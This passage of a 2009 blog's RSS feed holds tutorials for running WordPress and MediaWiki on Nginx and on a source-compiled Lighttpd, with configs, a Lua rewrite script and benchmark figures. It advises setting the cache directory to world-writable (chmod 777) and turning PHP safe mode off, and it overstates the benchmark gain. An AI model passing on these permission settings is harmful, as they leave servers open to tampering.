(I found restart doesn&#8217;t work all that well but reload does well.)</p>
<blockquote><p>/sbin/service nginx reload</p></blockquote>
<p>Also, if you are getting error with above settings, try turning off PHP safe mode in /etc/php.ini:</p>
<blockquote><p>set safe_mode = Off</p></blockquote>
<p>Remember to re-start the spawn-fcgi processes otherwise the changes won&#8217;t reflect!</p>
<p>Now, to set your Nginx and FastCgi to run when your server reboots:</p>
<p>For apache:</p>
<blockquote><p>chkconfig httpd off</p></blockquote>
<p>For Lighttpd:</p>
<blockquote><p>chkconfig lighttpd off</p></blockquote>
<p>Turn your Nginx and FastCgi on:</p>
<blockquote><p>chkconfig nginx on<br />
chkconfig fastcgi on</p></blockquote>
<p>Check to see the settings:</p>
<blockquote><p>chkconfig &#8211;list</p></blockquote>
<p>Reboot and see if your web server now runs on Nginx and enjoy the new found speeds of Nginx!</p>
<h2>Extra &#8211; Running Nginx with MediaWiki Wikis</h2>
<p>I also found an easy way for running my MediaWiki wiki along with my blog on the same server.  I found that there&#8217;s other ways but my way is simpler and works flawlessly with pretty permalinks on MediaWiki wikis.  I found that the wiki&#8217;s skin directory was the only thing that was messing things up so I just made the Nginx.conf to ignore anything under skins directory and voila!, everything else works easily.</p>
<p>My wiki lies in the /wiki directory, so I added these to my LocalSettings for MediaWiki:</p>
<pre  name="code" class="php">$wgScriptPath       = "/wiki";
$wgArticlePath      = "$wgScript/$1";
$wgUsePathInfo = true;</pre>
<p>And these to my Nginx.conf file under server bracket:</p>
<pre name="code" class="php">#for MEDIAWIKI-------------
if ($request_filename ~ /wiki/skins/) {
break;
}
if ($request_filename ~ /wiki/) {
rewrite ^/wiki/(.*)$ /wiki/index.php?title=$1 last;
}</pre>
<h2>Resources</h2>
<p>Here&#8217;s some resources I used in order to get my Nginx working with my Worpress Blog. (and thanks everyone!)</p>
<p>I hope my install guide helps you as it took me about 10 hours to get everything running right including my blog, multiple domains, and my MediaWiki.</p>
<p>Install:</p>
<ul>
<li><a target="_blank" href="http://www.cyberciti.biz/faq/rhel-fedora-install-configure-nginx-php5/" >http://www.cyberciti.biz/faq/rhel-fedora-install-configure-nginx-php5/</a></li>
</ul>
<p>Permalink Help:</p>
<ul>
<li> <a target="_blank" href="http://forum.slicehost.com/comments.php?DiscussionID=643" >http://forum.slicehost.com/comments.php?DiscussionID=643</a></li>
<li> <a target="_blank" href="http://ocaoimh.ie/wordpress-nginx-wp-super-cache/" >http://ocaoimh.ie/wordpress-nginx-wp-super-cache/</a></li>
<li> <a target="_blank" href="http://www.zalas.eu/symphony-cms-on-nginx" >http://www.zalas.eu/symphony-cms-on-nginx</a></li>
</ul>
<p>Multiple Domains Configuration:</p>
<ul>
<li> <a target="_blank" href="http://www.cyberciti.biz/faq/freebsd-nginx-namebased-virtual-hosting-configuration/" >http://www.cyberciti.biz/faq/freebsd-nginx-namebased-virtual-hosting-configuration/</a></li>
<li><a target="_blank" href="http://articles.slicehost.com/2009/2/25/centos-nginx-virtual-hosts" >http://articles.slicehost.com/2009/2/25/centos-nginx-virtual-hosts</a></li>
</ul>
<p>Redirect www. to host:</p>
<p>http://aleksandarsavic.com/nginx-redirect-wwwexamplecom-requests-to-examplecom-or-vice-versa/</p>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/web-server-hacks/how-to-install-nginx-on-a-wordpress-blog/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>How To Run Lighttpd with Wordpress!</title>
		<link>http://webserverhacks.com/performance-tests/how-to-run-lighttpd-with-wordpress-on-plesk/</link>
		<comments>http://webserverhacks.com/performance-tests/how-to-run-lighttpd-with-wordpress-on-plesk/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 08:52:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Performance Tests]]></category>
		<category><![CDATA[Web Server Hacks]]></category>
		<category><![CDATA[apache to lighttpd]]></category>
		<category><![CDATA[convert]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[plesk]]></category>
		<category><![CDATA[run lighttpd]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://webserverhacks.com/?p=16</guid>
		<description><![CDATA[
In this blog post, I will show you how to convert a Wordpress blog to run Lighttpd instead of the default Apache Httpd server (on a Plesk server specifically). You can probably apply most of these instructions to any other web servers running on raw Apache but if you are that good at managing web [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-44 alignleft" title="lighttpd" src="http://webserverhacks.com/wp-content/uploads/2009/10/lighttpd.gif" alt="lighttpd" width="297" height="198" /></p>
<p>In this blog post, I will show you <strong>how to convert a Wordpress blog to run Lighttpd instead of the default Apache Httpd server (on a Plesk server specifically).</strong> You can probably apply most of these instructions to any other web servers running on raw Apache but if you are that good at managing web servers, I will leave the extra hacking to you. As for Plesk, I just find it easier to setup everything like e-mail, DNS, and whatnot but you don&#8217;t need to use Plesk at all if you can do it all using command-line.</p>
<p>In my recent conversions, my web servers are now able to handle about 2-3 times more web traffic than before using Lighttpd.</p>
<p>Before, my servers went down every couple days because of too much traffic.</p>
<p>Now, my servers &#8220;almost&#8221; never go down.</p>
<p>Btw, if you are not on a dedicated server or a VPS(such as MediaTemple), you can&#8217;t really install Lighttpd.  You need root access (or SSH) and full access to your web server in order to hack it to run Lighttpd.</p>
<p><strong>THIS GUIDE HAS BEEN TESTED ON THE FOLLOWING WEB HOSTING AND HARDWARE:</strong></p>
<p><strong>MediaTemple dv servers running CentOS, SingleHop Dedicated servers running CentOS64, and Cari.Net dedicated servers running Fedora.  (All servers setup with basic Plesk)</strong></p>
<p><a target="_blank" href="http://www.lighttpd.net/" >Lighttpd</a> is a web server designed to handle large amounts of web traffic.  Before, I suffered from bad Httpd servers that would just start showing empty web pages, mainly due to lack of server memory.  After switching to Lighttpd, my server&#8217;s memory use was about 10 times more efficient.</p>
<p>First, you will need to install some dependencies in order to use Lighttpd right.  There&#8217;s simpler ways of installing Lighttpd such as apt-get, yum, or RPM but do not do that as you will actually have to compile the source code. (in order for mod_magnet to work, which is crucial for Wordpress permalinks and WP-Super Cache to work.  If you don&#8217;t need those, then go ahead.)</p>
<h2>1.Installing Pkgconfig</h2>
<p>First you will need to download Pkgconfig to install mod_magnet, which basically is a Lighttpd module that can enable permalinks and mod redirects.  Now, follow my directions as there&#8217;s other ways to do it on the web but THEY DON&#8217;T WORK! (hence the point of this blog post)</p>
<p><a target="_blank" href="http://pkgconfig.freedesktop.org/releases/" >Download latest version of Pkgconfig</a> (This is needed for mod_magnet installation without errors.)</p>
<p>Use wget command to download the latest pkgconfig:</p>
<blockquote><p>wget http://pkgconfig.freedesktop.org/releases/pkg-config-0.23.tar.gz</p></blockquote>
<p>Use tar to uncompress the file:</p>
<blockquote><p>tar xvf pkg-config-0.23.tar.gz</p></blockquote>
<p>Go into the directory of Pkgconfig:</p>
<blockquote><p>cd pkg-config-0.23</p></blockquote>
<p>Compile:</p>
<blockquote><p>./configure</p>
<p>make</p>
<p>make install</p>
<p>cd ..</p></blockquote>
<p>You should get a bunch of messages that everything has been installed correctly.</p>
<h2>2.Installing Lua</h2>
<p>You will also need to download latest version of Lua for mod_magnet to be installed correctly.</p>
<p><a target="_blank" href="http://www.lua.org/ftp/" >Download latest version of Lua</a> (This is needed for mod_magnet)</p>
<p>Use wget command to download the latest Lua:</p>
<blockquote><p>wget http://www.lua.org/ftp/lua-5.1.4.tar.gz</p></blockquote>
<p>Use tar to uncompress the file:</p>
<blockquote><p>tar xvf lua-5.1.4.tar.gz</p></blockquote>
<p>Go into the directory of Lua:</p>
<blockquote><p>cd lua-5.1.4</p></blockquote>
<p>Use the following command for compiling:<br />
(These instructions are for either Fedora or CentOS, if you are on different linux OS, you will need to read the README)</p>
<blockquote><p>make linux</p></blockquote>
<p><span style="color: #ff0000;">*Note: If you get readline errors, try: (that means you don&#8217;t have readline development packages installed)<br />
</span></p>
<blockquote><p><span style="color: #ff0000;">yum install readline-devel</span></p></blockquote>
<p><span style="color: #ff0000;">*Note: If you get errors like this &#8220;/usr/bin/ld: cannot find -lncurses&#8221;, try:</span></p>
<blockquote><p><span style="color: #ff0000;">yum install ncurses-devel</span></p></blockquote>
<p>If everything goes well, do make install:</p>
<blockquote><p>make install</p></blockquote>
<p>Next, copy lua.pc to /usr/lib/pkgconfig where your pkgconfig is installed:</p>
<blockquote><p>cp etc/lua.pc /usr/lib/pkgconfig</p></blockquote>
<p>Do ranlib command:</p>
<blockquote><p>ranlib src/liblua.a</p></blockquote>
<p>Back to working directory:</p>
<blockquote><p>cd ..</p></blockquote>
<h2>3. Installing Lighttpd</h2>
<p>Hopefully you got steps 1 and 2 right, make sure you do because otherwise you won&#8217;t be able to compile Lighttpd correctly.  Trust me, I did this for like 2 days without sleep before getting it right.  The instructions on the web are all either vague or hard to follow so just follow my directions and you can do it.</p>
<p>Now for the fun part, download the latest version of Lighttpd:</p>
<p><a target="_blank" href="http://www.lighttpd.net/download" >Download latest version of Lighttpd HERE</a></p>
<p>Use wget command to download the latest Lighttpd:</p>
<blockquote><p>wget http://www.lighttpd.net/download/lighttpd-1.4.23.tar.gz</p></blockquote>
<p>Use tar to uncompress the file:</p>
<blockquote><p>tar xvf lighttpd-1.4.23.tar.gz</p></blockquote>
<p>Go into the directory of Lua:</p>
<blockquote><p>cd lighttpd-1.4.23</p></blockquote>
<p>Use the following command to configure package for compiling:</p>
<blockquote><p>./configure &#8211;with-lua PKG_CONFIG_PATH=/usr/lib/pkgconfig</p></blockquote>
<p><span style="color: #0000ff;">Note: Errors you might encounter:</span></p>
<p><span style="color: #0000ff;">Error:<br />
</span></p>
<blockquote><p><span style="color: #0000ff;">configure: error: pcre-config not found, install the pcre-devel package or build with &#8211;without-pcre</span></p></blockquote>
<p><span style="color: #0000ff;">Solution:<br />
</span></p>
<blockquote><p><span style="color: #0000ff;">yum install pcre-devel</span></p></blockquote>
<p><span style="color: #0000ff;">Error:<br />
</span></p>
<blockquote><p><span style="color: #0000ff;">configure: error: zlib-headers and/or libs where not found, install them or build with &#8211;without-zlib</span></p></blockquote>
<p><span style="color: #0000ff;">Solution:<br />
</span></p>
<blockquote><p><span style="color: #0000ff;">yum install zlib-devel</span></p></blockquote>
<p><span style="color: #0000ff;">Error:<br />
</span></p>
<blockquote><p><span style="color: #0000ff;">configure: error: bzip2-headers and/or libs where not found, install them or build with &#8211;without-bzip2</span></p></blockquote>
<p><span style="color: #0000ff;">Solution:<br />
</span></p>
<blockquote><p><span style="color: #0000ff;">yum install bzip2-devel</span></p></blockquote>
<p>Compile</p>
<blockquote><p>make</p>
<p>make install</p></blockquote>
<p><span style="color: #ff0000;">*Note: You might get errors with a 64bit system as I did with a CentOS64 </span></p>
<p><span style="color: #ff0000;">ERRORS with CentOS 64:</span></p>
<blockquote><p><span style="color: #ff0000;">libtool: link: gcc -shared  .libs/mod_magnet_la-mod_magnet.o .libs/mod_magnet_la-mod_magnet_cache.o   -L/usr/local/lib -llua -lm    -Wl,-soname -Wl,mod_magnet.so -o .libs/mod_magnet.so<br />
/usr/bin/ld: /usr/local/lib/liblua.a(lapi.o): relocation R_X86_64_32 against `luaO_nilobject_&#8217; can not be used when making a shared object; recompile with -fPIC</span></p></blockquote>
<p><span style="color: #ff0000;">If you get this you need to re-compile Lua again, go back to the Lua source directory:</span></p>
<blockquote><p><span style="color: #ff0000;">cd lua-5.1.4</span></p>
<p><span style="color: #ff0000;">vi src/Makefile</span></p></blockquote>
<p><span style="color: #ff0000;">Change this line:</span></p>
<blockquote><p><span style="color: #ff0000;">CFLAGS= -O2 -Wall $(MYCFLAGS)</span></p></blockquote>
<p><span style="color: #ff0000;">to this:</span></p>
<blockquote><p><span style="color: #ff0000;">CFLAGS= -O2 -Wall $(MYCFLAGS) -fPIC</span></p></blockquote>
<p><span style="color: #ff0000;"><br />
</span></p>
<p><span style="color: #ff0000;">Compile Lua again using &#8220;make linux&#8221; and &#8220;make install&#8221;, then go back to installing lighttpd.<br />
*You might have to do &#8220;make clean&#8221; before compiling to clean up previous compiles.<br />
</span></p>
<p>You shoud be DONE with compiling/installing Lighttpd here but you still need to setup the config files so that&#8217;s next.</p>
<h2>4. Setting up Lighttpd.conf, web server directory, and Wordpress permalinks + WP Super Cache</h2>
<p>The following steps are necessary for running your website correctly which includes setting your web server directory, Wordpress permalinks, and WP Super Cache with Lighttpd mod_magnet module.</p>
<p>First, make a directory called lighttpd under /etc like this:</p>
<blockquote><p>mkdir /etc/lighttpd</p></blockquote>
<p>Next, copy the defauly lighttd.conf file from your uncompressed Lighttpd directory under /doc.</p>
<blockquote><p>cp doc/lighttpd.conf /etc/lighttpd/lighttpd.conf</p></blockquote>
<p>Next, use vi to edit the file. (Or you can use your favorite text editor):</p>
<blockquote><p>vi /etc/lighttpd/lighttpd.conf</p></blockquote>
<p>Uncomment (or add if it doesn&#8217;t exist) the following lines.</p>
<blockquote><p>&#8220;mod_fastcgi&#8221;,<br />
&#8220;mod_magnet&#8221;,</p></blockquote>
<p>Set the server.document-root directory to <strong>/var/www/html/</strong> (or your web server directory):</p>
<blockquote><p>server.document-root        = &#8220;/var/www/html/&#8221;</p></blockquote>
<p>If you are doing this on a live server, you might want to test Lighttpd on server port 81 before you actually make it go live so you don&#8217;t mess with the live website:</p>
<p>For testing on a live server, change server.port to 81: (Remember to change this back to port 80 when going live)</p>
<blockquote><p>server.port                = 81</p></blockquote>
<p>Find where the following lines are:</p>
<blockquote><p>#simple-vhost.server-root   = &#8220;/srv/www/vhosts/&#8221;<br />
#simple-vhost.default-host  = &#8220;www.example.org&#8221;<br />
#simple-vhost.document-root = &#8220;/htdocs/</p></blockquote>
<p>Under it, add something like this:</p>
<blockquote><p>$HTTP["host"] =~ &#8220;(^|\.)mysite\.com$&#8221; {<br />
server.document-root = &#8220;/var/www/vhosts/mysite.com/httpdocs&#8221;<br />
server.errorlog = &#8220;/var/log/lighttpd/error.log&#8221;<br />
accesslog.filename = &#8220;/var/log/lighttpd/access.log&#8221;<br />
server.error-handler-404 = &#8220;/var/www/vhosts/mysite.com/error_docs/not_found.html&#8221;</p>
<p>magnet.attract-physical-path-to = ( server.document-root + &#8220;/rewrite.lua&#8221; )</p>
<p>}</p></blockquote>
<p>Remember, this example is for Plesk web servers where the web directory is usually under <strong>/var/www/vhosts</strong>.  If you are not using Plesk, use your own directory.</p>
<p>Now, *IMPORTANT*, uncomment the following lines:</p>
<blockquote><p>#### fastcgi module<br />
## read fastcgi.txt for more info<br />
## for PHP don&#8217;t forget to set cgi.fix_pathinfo = 1 in the php.ini<br />
fastcgi.server             = ( &#8220;.php&#8221; =&gt;<br />
( &#8220;localhost&#8221; =&gt;<br />
(<br />
&#8220;socket&#8221; =&gt; &#8220;/var/run/lighttpd/php-fastcgi.socket&#8221;,<br />
&#8220;bin-path&#8221; =&gt; &#8220;/usr/local/bin/php-cgi&#8221;<br />
)<br />
)<br />
)</p></blockquote>
<p>Change 2 above lines(parameters) to:</p>
<blockquote><p>&#8220;socket&#8221; =&gt; &#8220;/tmp/php-fastcgi.socket&#8221;,<br />
&#8220;bin-path&#8221; =&gt; &#8220;/usr/bin/php-cgi&#8221;</p></blockquote>
<p>You can also optimize the above section of code for number of children and max request but you can do this after you have verified Lighttpd has been installed correctly, so skip this step and come back.</p>
<p><strong>(Optimizing)<br />
</strong></p>
<p><strong>For optimizing add: (<a target="_blank" href="http://redmine.lighttpd.net/projects/1/wiki/FrequentlyAskedQuestions" >see here for optimizing</a>)</strong></p>
<blockquote><p><strong>&#8220;PHP_FCGI_CHILDREN&#8221; =&gt; &#8220;16&#8243;,<br />
&#8220;PHP_FCGI_MAX_REQUESTS&#8221; =&gt; &#8220;10000&#8243;,</strong></p></blockquote>
<p>Next, you will need to add a file called &#8220;rewrite.lua&#8221; to the root directory of your Wordpress blog installation:</p>
<p>Copy and paste the following lines and save as &#8220;rewrite.lua&#8221; for each of your Wordpress blogs hosted on this server.  (Sometimes copying and pasting might corrupt the apostrophes so make sure you copy them exactly!)</p>
<blockquote><p>function serve_html(cached_page)<br />
if (lighty.stat(cached_page)) then<br />
lighty.env["physical.path"] = cached_page<br />
print(&#8221;Serving cached page: &#8221; .. cached_page)<br />
return true<br />
else<br />
return false<br />
end<br />
end</p>
<p>function serve_gzip(cached_page)<br />
if (lighty.stat(cached_page .. &#8220;.gz&#8221;)) then<br />
lighty.header["Content-Encoding"] = &#8220;gzip&#8221;<br />
lighty.header["Content-Type"] = &#8220;&#8221;<br />
lighty.env["physical.path"] = cached_page .. &#8220;.gz&#8221;<br />
print(&#8221;Serving gzipped page: &#8221; .. cached_page .. &#8220;.gz&#8221;)<br />
return true<br />
else<br />
return false<br />
end<br />
end</p>
<p>attr = lighty.stat(lighty.env["physical.path"])</p>
<p>if (not attr) then<br />
lighty.env["uri.path"] = &#8220;/index.php&#8221;<br />
lighty.env["physical.rel-path"] = lighty.env["uri.path"]<br />
lighty.env["physical.path"] = lighty.env["physical.doc-root"] .. lighty.env["physical.rel-path"]</p>
<p>query_condition = not (lighty.env["uri.query"] and string.find(lighty.env["uri.query"], &#8220;.*s=.*&#8221;))<br />
user_cookie = lighty.request["Cookie"] or &#8220;no_cookie_here&#8221;<br />
cookie_condition = not (string.find(user_cookie, &#8220;.*comment_author.*&#8221;) or string.find(user_cookie, &#8220;.*wordpress.*&#8221;) or string.find(user_cookie, &#8220;.*wp-postpass_.*&#8221;))<br />
if (query_condition and cookie_condition) then<br />
accept_encoding = lighty.request["Accept-Encoding"] or &#8220;no_acceptance&#8221;<br />
cached_page = lighty.env["physical.doc-root"] .. &#8220;/wp-content/cache/supercache/&#8221; .. lighty.request["Host"] .. lighty.env["request.uri"] .. &#8220;/index.html&#8221;<br />
cached_page = string.gsub(cached_page, &#8220;//&#8221;, &#8220;/&#8221;)<br />
if (string.find(accept_encoding, &#8220;gzip&#8221;)) then<br />
if not serve_gzip(cached_page) then serve_html(cached_page) end<br />
else<br />
serve_html(cached_page)<br />
end<br />
end<br />
end</p></blockquote>
<p>Now, change /etc/php.ini and add the following line somewhere at the top:</p>
<blockquote><p>cgi.fix_pathinfo = 1</p></blockquote>
<p>Also, make sure SAFE MODE in Php.ini is TURNED OFF:</p>
<blockquote><p>;<br />
; Safe Mode<br />
;<br />
safe_mode = Off</p></blockquote>
<p>Also, you need to turn on compression if you want glib compression:</p>
<blockquote><p>zlib.output_compression = 9</p></blockquote>
<p>Next, we need to make a directory called &#8220;<strong>lighttpd</strong>&#8221; for logging errors under <strong>/var/log</strong> directory like this:</p>
<blockquote><p>mkdir /var/log/lighttpd</p></blockquote>
<h2>5. Starting Lighttpd for the first time</h2>
<p>Now, try to start your Lighttpd with the following command:</p>
<blockquote><p>/usr/local/sbin/lighttpd start -f /etc/lighttpd/lighttpd.conf</p></blockquote>
<p>Now try doing a &#8220;top&#8221; command and press &#8220;M&#8221; while in top, you should see bunch of <strong>php-fcgi processes</strong> and o<strong>ne Lighttpd process</strong>.  If that&#8217;s the case, congratulations, your web server is now running Lighttpd.  You can also test your website on port 81 by doing http://mysite.com:81.</p>
<p>Now, you will actually need to test it on your live blog to make sure it&#8217;s working.</p>
<p>Kill the Lighttpd process by:</p>
<blockquote><p>Kill {lighttpd PID}</p></blockquote>
<p>You can find Lighttpd PID while doing the top command.</p>
<p>Go back to editing the file /etc/lighttpd/lighttpd.conf and change the following line:</p>
<blockquote><p>server.port                = 81</p></blockquote>
<p>to</p>
<blockquote><p>server.port                = 80</p></blockquote>
<p>Next, we will stop the live website intermittently and bring up Lighttpd immediately to start running your websites:</p>
<p>It&#8217;s pretty simple to do as you can shut down your Apache by doing:</p>
<blockquote><p>/sbin/service httpd stop</p></blockquote>
<p>Then do:</p>
<blockquote><p>/usr/local/sbin/lighttpd start -f /etc/lighttpd/lighttpd.conf</p></blockquote>
<p>Immediately check to see if your Wordpress blog is running correctly.  If not, simply kill the Lighttpd process like before and start the httpd server so your live site keeps running:</p>
<blockquote><p>/sbin/service httpd start</p></blockquote>
<p>If you are having problems at this point, you might want to go check the errors listed under <strong>/var/log/lighttpd</strong>.</p>
<p>Most likely, you will probably have some kind of setup config file error so just double check it, keep testing the lighttpd until your live site runs flawlessly.</p>
<p>Of course, it&#8217;s best if you can practice this before running on a live site so&#8230;</p>
<p>If you have gotten the test to run right, let&#8217;s move on.</p>
<p>Next, we need to set up Lighttpd so the web server will only use Lighttpd to run your Wordpress blogs. (and we can turn off resource-wasting Apache)</p>
<h2>6. Replacing Apache Httpd permanently with Lighttpd</h2>
<p>copy the init.d script from lighttpd-1.x.xx/doc directory to /etc/init.d/lighttpd</p>
<p><em>for redhat or fedora or CentOS (tested on those):</em></p>
<blockquote><p>cp /root/lighttpd-1.4.23/doc/rc.lighttpd.redhat /etc/init.d/lighttpd</p></blockquote>
<p><em>try this one if above doesn&#8217;t work:</em></p>
<blockquote><p>cp /root/lighttpd-1.4.23/doc/rc.lighttpd /etc/init.d/lighttpd</p></blockquote>
<p>Copy the Lighttpd executable file from /usr/local/sbin/lighttpd to /usr/sbin.  Trust me, just do it.</p>
<p>cp /usr/local/sbin/lighttpd /usr/sbin/.</p>
<p>Now, do the following commands to add lighttpd to your starting processes. (so your Lighttpd will automatically run if web server is rebooted)</p>
<blockquote>
<pre><code><span style="font-weight: bold;">chkconfig <span style="color: #000099;">lighttpd</span> <span style="color: #990000;">--add</span></span>
<span style="font-weight: bold;">chkconfig  lighttpd  <span style="color: #990000;">on</span>
</span></code></pre>
</blockquote>
<p>Now, let&#8217;s turn off Apache&#8217;s httpd so it doesn&#8217;t run (ever) again:</p>
<blockquote>
<pre><code><span style="font-weight: bold;">chkconfig <span style="color: #000099;">httpd</span> <span style="color: #990000;">off</span></span></code></pre>
</blockquote>
<p>Now, check to see if httpd is NOT supposed to start automatically.   It probably is turned off.  Just making sure, double check.</p>
<blockquote>
<pre><code><span style="font-weight: bold;">chkconfig <span style="color: #000099;">--list</span></span></code></pre>
</blockquote>
<h2>A. Errors and Solutions</h2>
<p>If lighttpd cannot be found via ps -ax|grep lighttpd</p>
<p>Try:</p>
<blockquote><p>cp /usr/local/sbin/lighttpd /usr/sbin/.<br />
/etc/init.d/lighttpd start</p></blockquote>
<p>If it starts fine, you are done!</p>
<p><strong>VERY IMPORTANT &#8211; Also make sure to set your WP Super Cache directory to 777!</strong></p>
<blockquote><p>chmod 777 cache</p></blockquote>
<p>Usually your cache directory is under <strong>myblog/wp-content/cache</strong></p>
<p>Error:</p>
<blockquote><p>2009-08-24 18:53:32: (log.c.124) opening errorlog &#8216;/var/log/lighttpd/error.log&#8217; failed: No such file or directory</p>
<p>2009-08-24 18:53:32: (server.c.919) Opening errorlog failed. Going down.</p></blockquote>
<p>Try:</p>
<blockquote><p>Make sure you made a new directory /var/log/lighttpd</p></blockquote>
<h2>B. Performance Test</h2>
<p>I did a performance test while converting couple of my high-trafficked blogs from Apache to Lighttpd:</p>
<p>Used the ab command:</p>
<blockquote><p><strong>ab -n 1000 -c 5 http://testsite.com/index.php</strong></p></blockquote>
<p>Results:</p>
<p><strong>Load Avg. Httpd &#8211; 0.70</strong></p>
<p><strong>Load Avg. Lighttpd &#8211; 0.34</strong></p>
<p>That&#8217;s a whopping 200% improvement in load times!</p>
<p><strong>Blog A</strong></p>
<p><span style="color: #ff0000;">Httpd Home page loading time &#8211; 0.774 seconds</span></p>
<p><span style="color: #ff0000;">Httpd Avg. single page load time &#8211; 1.1  seconds</span></p>
<p><span style="color: #0000ff;">Lighttpd Home page loading time &#8211; 0.74 seconds</span></p>
<p><span style="color: #0000ff;">Lighttpd Avg. single page load time -</span></p>
<p><span style="color: #ff0000;">Httpd Ab test &#8211; 28.52 [#/sec] (mean)</span></p>
<p><span style="color: #0000ff;">Lighttpd Ab test &#8211; 38.34 [#/sec] (mean)</span></p>
<p><strong>Blog B</strong></p>
<p><span style="color: #ff0000;">Httpd Home page loading time &#8211; 0.375 seconds</span></p>
<p><span style="color: #ff0000;">Httpd Avg. single page load time &#8211; 0.42 seconds</span></p>
<p><span style="color: #0000ff;">Lighttpd Home page loading time &#8211; 0.344 seconds</span></p>
<p><span style="color: #0000ff;">Lighttpd Avg. single page load time &#8211; 0.39 seconds</span></p>
<p><span style="color: #ff0000;">Httpd Ab test &#8211; 77.54 [#/sec] (mean)</span></p>
<p><span style="color: #0000ff;">Lighttpd Ab test &#8211; 108.09 [#/sec] (mean)</span></p>
<h2>FINAL THOUGHTS</h2>
<p>I actually wrote this HOWTO guide about 3 months ago.  After 3 months of extensive testing on millions of pageviews, Lighttpd has proved to be much better solution for high-trafficked Wordpress blogs.</p>
<p>If you are not dealing with much web traffic (less than 5,000/pageviews per day), you might be better off Apache since it&#8217;s easier to use.</p>
<p>For all others who are spending at least $100/month on dedicated/VPS web hosting services, you can expect to shave about half of your web hosting costs.</p>
<p>My web hosting costs went down from $1500 a month to $600 because my web servers now can handle 2-3 times more traffic.  Over a year, that&#8217;s about $8,000 in savings.  It made enough of a difference where I could use the money saved for other things in my blogging business.</p>
<p>Why did I made this free tutorial?</p>
<p>Basically to help you save money on web server costs.  At first, I was even thinking of selling my HOWTO guide but then heck, I am a blogger.  I feel I need to give back to the community (the interwebs).</p>
<p>Anyways, if you have trouble with this HOWTO guide, simply leave a comment and I will try to help you as best as I can.  Sometimes, it might take me over a week to reply as I am constantly working on things. (and blogging)  But if it&#8217;s emergency or you simply can do it yourself, I can help you to setup your site for a fee.  You can e-mail me @ zedomax [at] gmail.com for a quote.</p>
<p>Enjoy hacking and I hope you save a bunch of money on dedicated/VPS web hosting costs.</p>
<h2>EXTRA &#8211; /etc/lighttpd/lighttpd.conf settings for MediaWiki installation on /wiki directory</h2>
<p>Add the following to lighttpd.conf</p>
<blockquote><p>url.rewrite-once = (<br />
&#8220;(^/wiki/[^:]*[\./].*)&#8221; =&gt; &#8220;$1&#8243;,<br />
&#8220;^/wiki/([^?]*)(?:\?(.*))?&#8221; =&gt; &#8220;/wiki/index.php?title=$1&amp;$2&#8243;,<br />
)</p></blockquote>
<p>For LocalSettings.php in MediaWiki, try:</p>
<blockquote><p>$wgScriptPath       = &#8220;/wiki&#8221;;</p>
<p>$wgScript           = &#8220;$wgScriptPath/index.php&#8221;;<br />
$wgRedirectScript   = &#8220;$wgScriptPath/redirect.php&#8221;;</p>
<p>$wgUsePathInfo = false;</p></blockquote>
<h2>More Resources</h2>
<ul>
<li><a target="_blank" href="http://webserverhacks.com/performance-tests/wordpress-lighttpd-vs-apache-httpd-perfomance-test/" >Initial Performance Test between Apache Httpd and Lighttpd</a></li>
<li><a target="_blank" href="http://www.tweako.com/how_to_install_lighttpd_with_php5_and_mysql_support_on_centos_5_0" >How to Install Lighttpd with PHP5 and Mysql on CentOS 5</a></li>
<li><a target="_blank" href="http://cloudservers.mosso.com/index.php/CentOS_-_chkconfig#I.27ve_got_an_init_script_but_its_not_listed_in_chkconfig" >Chkconfig HOWTO</a> setup for automated startup for services.</li>
<li><a target="_blank" href="http://forum.lighttpd.net/topic/277" >Ubuntu Startup Script</a></li>
<li><a target="_blank" href="http://linux.about.com/library/cmd/blcmdl8_chkconfig.htm" >Chkconfig command details on About.com</a></li>
</ul>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 3795px; width: 1px; height: 1px;"><strong>ab -n 1000 -c 5 http://testsite.com/index.php</strong></div>
]]></content:encoded>
			<wfw:commentRss>http://webserverhacks.com/performance-tests/how-to-run-lighttpd-with-wordpress-on-plesk/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
